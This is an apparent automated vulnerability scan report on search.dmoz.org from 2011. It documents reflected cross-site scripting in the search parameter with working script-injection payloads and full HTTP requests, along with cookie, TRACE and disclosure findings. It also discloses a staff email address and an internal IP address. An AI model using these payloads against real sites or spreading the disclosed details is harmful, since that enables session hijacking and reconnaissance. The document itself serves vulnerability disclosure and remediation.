XSS, Cross Site Scripting, CWE-79, CAPEC-86, DORK, JSi, search.dmoz.org
Report generated by Exploit Research at Thu Jan 13 09:07:45 CST 2011.
1. Cross-site scripting (reflected)
1.1. http://search.dmoz.org/search [q parameter]
1.2. http://search.dmoz.org/search [q parameter]
1.3. http://search.dmoz.org/search [q parameter]
2. Cookie without HttpOnly flag set
2.1. http://search.dmoz.org/favicon.ico
2.2. http://search.dmoz.org/search
3. Cross-domain Referer leakage
4. TRACE method is enabled
5. Email addresses disclosed
6. Private IP addresses disclosed
6.1. http://search.dmoz.org/favicon.ico
6.2. http://search.dmoz.org/search
1. Cross-site scripting (reflected)
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There are 3 instances of this issue:
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://search.dmoz.org/search [q parameter]
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Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://search.dmoz.org |
| Path: |
/search |
Issue detail
The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40e41"><script>alert(1)</script>b5809d5211e was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search?q=40e41"><script>alert(1)</script>b5809d5211e HTTP/1.1
Host: search.dmoz.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
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Response
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2011 01:43:48 GMT
Server: Apache
Set-Cookie: JSESSIONID=07CB202F322A937E653DCEBB435D254D; Path=/
Content-Language: en
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Content-Length: 9299
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Open Directory - Search Results </TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=U
...[SNIP]...
<input type="text" NAME="q" value="40e41"><script>alert(1)</script>b5809d5211e">
...[SNIP]...
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1.2. http://search.dmoz.org/search [q parameter]
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Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://search.dmoz.org |
| Path: |
/search |
Issue detail
The value of the q request parameter is copied into the name of an HTML tag attribute. The payload ef2b5><script>alert(1)</script>172b0c3fe70 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search?q=%22revresda.com%22ef2b5><script>alert(1)</script>172b0c3fe70 HTTP/1.1
Host: search.dmoz.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
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Response
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2011 01:43:43 GMT
Server: Apache
Set-Cookie: JSESSIONID=3E5EE49D94B261E5EE3358124ABB7B1A; Path=/
Content-Language: en
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Content-Length: 9481
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Open Directory - Search Results </TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=U
...[SNIP]...
<input type="text" NAME="q" value=""revresda.com"ef2b5><script>alert(1)</script>172b0c3fe70">
...[SNIP]...
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1.3. http://search.dmoz.org/search [q parameter]
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Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://search.dmoz.org |
| Path: |
/search |
Issue detail
The value of the q request parameter is copied into the HTML document as plain text between tags. The payload ff79a<script>alert(1)</script>b40ab220585 was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search?q=%22revresda.com%22ff79a<script>alert(1)</script>b40ab220585 HTTP/1.1
Host: search.dmoz.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
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Response
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2011 01:43:51 GMT
Server: Apache
Set-Cookie: JSESSIONID=A484D1A5DE518C867C4A1A4E8B87EF6B; Path=/
Content-Language: en
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html;charset=UTF-8
Content-Length: 9467
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Open Directory - Search Results </TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=U
...[SNIP]...
<strong>"revresda.com"ff79a<script>alert(1)</script>b40ab220585</strong>
...[SNIP]...
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2. Cookie without HttpOnly flag set
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There are 2 instances of this issue:
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
2.1. http://search.dmoz.org/favicon.ico
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Summary
| Severity: |
Low |
| Confidence: |
Firm |
| Host: |
http://search.dmoz.org |
| Path: |
/favicon.ico |
Issue detail
The following cookie was issued by the application and does not have the HttpOnly flag set:- JSESSIONID=E55CA7FF4D43CC3AAB75A302F44861AE; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /favicon.ico HTTP/1.1
Host: search.dmoz.org
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=7C4A903176725B7C8639204F895E0E5F; s_pers=%20s_getnr%3D1294926891080-New%7C1357998891080%3B%20s_nrgvo%3DNew%7C1357998891081%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Daoldmozodp%252Caolsvc%253D%252526pid%25253Dodp%25252520%2525253A%25252520search%25252520-%25252520home%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//search.dmoz.org/docs/en/unavailable.html%252526ot%25253DA%3B
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Response
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2011 13:54:11 GMT
Server: Apache
Set-Cookie: JSESSIONID=E55CA7FF4D43CC3AAB75A302F44861AE; Path=/
Content-Language: en
Cteonnt-Length: 7841
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 7841
<html><head><title>Page Has Moved</title>
<base target="_top">
</head>
<body bgcolor="#ffffff" text="#000000" link="#3300cc" vlink="#660066"
alink="#FF0000">
<div id="omniture">
<script t
...[SNIP]...
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2.2. http://search.dmoz.org/search
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Summary
| Severity: |
Low |
| Confidence: |
Firm |
| Host: |
http://search.dmoz.org |
| Path: |
/search |
Issue detail
The following cookie was issued by the application and does not have the HttpOnly flag set:- JSESSIONID=11305C98652D3399496CA9499B593A6A; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /search HTTP/1.1
Host: search.dmoz.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
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Response
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2011 01:42:54 GMT
Server: Apache
Set-Cookie: JSESSIONID=11305C98652D3399496CA9499B593A6A; Path=/
Content-Language: en
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 9797
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Open Directory - Search Results </TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=U
...[SNIP]...
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3. Cross-domain Referer leakage
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Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://search.dmoz.org |
| Path: |
/search |
Issue detail
The page was loaded from a URL containing a query string:- http://search.dmoz.org/search?q=%22revresda.com%22
The response contains the following links to other domains:- http://a9.com/
- http://clusty.com/search?query=
- http://gigablast.com/search?q=
- http://o.aolcdn.com/os/dmoz/editors/css/dmoznew.css
- http://o.aolcdn.com/os/dmoz/img/aolsearch.gif
- http://o.aolcdn.com/os/dmoz/img/dividerN.gif
- http://s.teoma.com/search?q=
- http://search.aol.com/aolcom/search?query=
- http://search.lycos.com/?query=
- http://search.yahoo.com/bin/search?p=
- http://www.altavista.com/cgi-bin/query?q=
- http://www.bing.com/search?go=&form=QBLH&filt=all&qs=n?q=
- http://www.google.com/search?num=10&query=
- http://www.wisenut.com/search/query.dll?q=
Issue background
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /search?q=%22revresda.com%22 HTTP/1.1
Host: search.dmoz.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
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Response
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2011 01:43:24 GMT
Server: Apache
Set-Cookie: JSESSIONID=26805EE355BDE09B853E58A8EDAA0B68; Path=/
Content-Language: en
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 8893
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Open Directory - Search Results </TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=U
...[SNIP]...
<link rel="icon" type="image/ico" href="img/mozilla.ico">
<link href="http://o.aolcdn.com/os/dmoz/editors/css/dmoznew.css" type="text/css" rel="stylesheet">
<BASE target="_top">
...[SNIP]...
<div id="partnership">
<img width="83" height="24" align="middle" alt="In Partnership with AOL Search" src="http://o.aolcdn.com/os/dmoz/img/aolsearch.gif"/>
</div>
...[SNIP]...
<div class="dividerN">
<img style="height: 2px; float: left; width: 100%" src="http://o.aolcdn.com/os/dmoz/img/dividerN.gif" />
</div>
...[SNIP]...
</strong>"
search on: -
<a href="http://www.altavista.com/cgi-bin/query?q="revresda.com"">AltaVista</a> -
<a href="http://a9.com/"revresda.com"">A9</a> -
<a href="http://search.aol.com/aolcom/search?query="revresda.com"">AOL</a> -
<a href="http://clusty.com/search?query="revresda.com"">Clusty</a> -
<a href="http://gigablast.com/search?q="revresda.com"">Gigablast</a> -
<a href="http://www.google.com/search?num=10&query="revresda.com"">Google</a> -
<a href="http://search.lycos.com/?query="revresda.com"">Lycos</a> -
<a href="http://www.bing.com/search?go=&form=QBLH&filt=all&qs=n?q="revresda.com"">Bing</a> -
<a HREF="http://s.teoma.com/search?q="revresda.com"">Teoma</a> -
<a HREF="http://www.wisenut.com/search/query.dll?q="revresda.com"">Wisenut</A> -
<a href="http://search.yahoo.com/bin/search?p="revresda.com"">Yahoo</a>
...[SNIP]...
<div class="bottom-dividerN">
<img style="height: 2px; float: left; width: 100%" src="http://o.aolcdn.com/os/dmoz/img/dividerN.gif" />
</div>
...[SNIP]...
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4. TRACE method is enabled
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Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://search.dmoz.org |
| Path: |
/ |
Issue description
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
Request
TRACE / HTTP/1.0
Host: search.dmoz.org
Cookie: 785ca2cbee47a9ca
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Response
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2011 01:42:57 GMT
Server: Apache
Connection: close
Content-Type: message/http
TRACE / HTTP/1.0
Host: search.dmoz.org
Cookie: 785ca2cbee47a9ca
Connection: Keep-Alive
X-LB-Client-IP: 173.193.214.243
X-Forwarded-For: 173.193.214.243
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5. Email addresses disclosed
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Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://search.dmoz.org |
| Path: |
/docs/en/unavailable.html |
Issue detail
The following email address was disclosed in the response:- Robert.keating@corp.aol.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /docs/en/unavailable.html HTTP/1.1
Host: search.dmoz.org
Proxy-Connection: keep-alive
Referer: http://search.dmoz.org/search?q=40e41%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb5809d5211e
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=7C4A903176725B7C8639204F895E0E5F; s_pers=%20s_getnr%3D1294926891080-New%7C1357998891080%3B%20s_nrgvo%3DNew%7C1357998891081%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Daoldmozodp%252Caolsvc%253D%252526pid%25253Dodp%25252520%2525253A%25252520search%25252520-%25252520home%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//search.dmoz.org/docs/en/unavailable.html%252526ot%25253DA%3B
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Response
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2011 13:54:10 GMT
Server: Apache
Accept-Ranges: bytes
ntCoent-Length: 2545
Content-Type: text/html
Content-Length: 2545
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Open Directory Project Forums</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
...[SNIP]...
<a href="mailto:Robert.keating@corp.aol.com">Robert.keating@corp.aol.com</a>
...[SNIP]...
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6. Private IP addresses disclosed
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There are 2 instances of this issue:
Issue background
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
6.1. http://search.dmoz.org/favicon.ico
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Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://search.dmoz.org |
| Path: |
/favicon.ico |
Issue detail
The following RFC 1918 IP address was disclosed in the response:
Request
GET /favicon.ico HTTP/1.1
Host: search.dmoz.org
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=7C4A903176725B7C8639204F895E0E5F; s_pers=%20s_getnr%3D1294926891080-New%7C1357998891080%3B%20s_nrgvo%3DNew%7C1357998891081%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Daoldmozodp%252Caolsvc%253D%252526pid%25253Dodp%25252520%2525253A%25252520search%25252520-%25252520home%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//search.dmoz.org/docs/en/unavailable.html%252526ot%25253DA%3B
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Response
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2011 13:54:11 GMT
Server: Apache
Set-Cookie: JSESSIONID=E55CA7FF4D43CC3AAB75A302F44861AE; Path=/
Content-Language: en
Cteonnt-Length: 7841
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 7841
<html><head><title>Page Has Moved</title>
<base target="_top">
</head>
<body bgcolor="#ffffff" text="#000000" link="#3300cc" vlink="#660066"
alink="#FF0000">
<div id="omniture">
<script t
...[SNIP]...
;s_265.linkInternalFilters="aol.com,javascript:,dmoz.org";u=t.split(".");o=(u.length>1)?u[u.length-2]+"."+u[u.length-1]:"";if((o==="dmoz.org")||(t+":"+n==="dmozqa-m01.ihost.aol.com:8081")||(t+":"+n==="10.146.172.49:9099")){s_265.prop12=F+"//"+t+v;i=(v.indexOf("/world/")>
...[SNIP]...
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6.2. http://search.dmoz.org/search
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Summary
| Severity: |
Information |
| Confidence: |
Certain |
| Host: |
http://search.dmoz.org |
| Path: |
/search |
Issue detail
The following RFC 1918 IP address was disclosed in the response:
Request
GET /search HTTP/1.1
Host: search.dmoz.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
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Response
HTTP/1.1 200 OK
Date: Thu, 13 Jan 2011 01:42:54 GMT
Server: Apache
Set-Cookie: JSESSIONID=11305C98652D3399496CA9499B593A6A; Path=/
Content-Language: en
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 9797
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Open Directory - Search Results </TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=U
...[SNIP]...
;s_265.linkInternalFilters="aol.com,javascript:,dmoz.org";u=t.split(".");o=(u.length>1)?u[u.length-2]+"."+u[u.length-1]:"";if((o==="dmoz.org")||(t+":"+n==="dmozqa-m01.ihost.aol.com:8081")||(t+":"+n==="10.146.172.49:9099")){s_265.prop12=F+"//"+t+v;i=(v.indexOf("/world/")>
...[SNIP]...
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Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Thu Jan 13 09:07:45 CST 2011.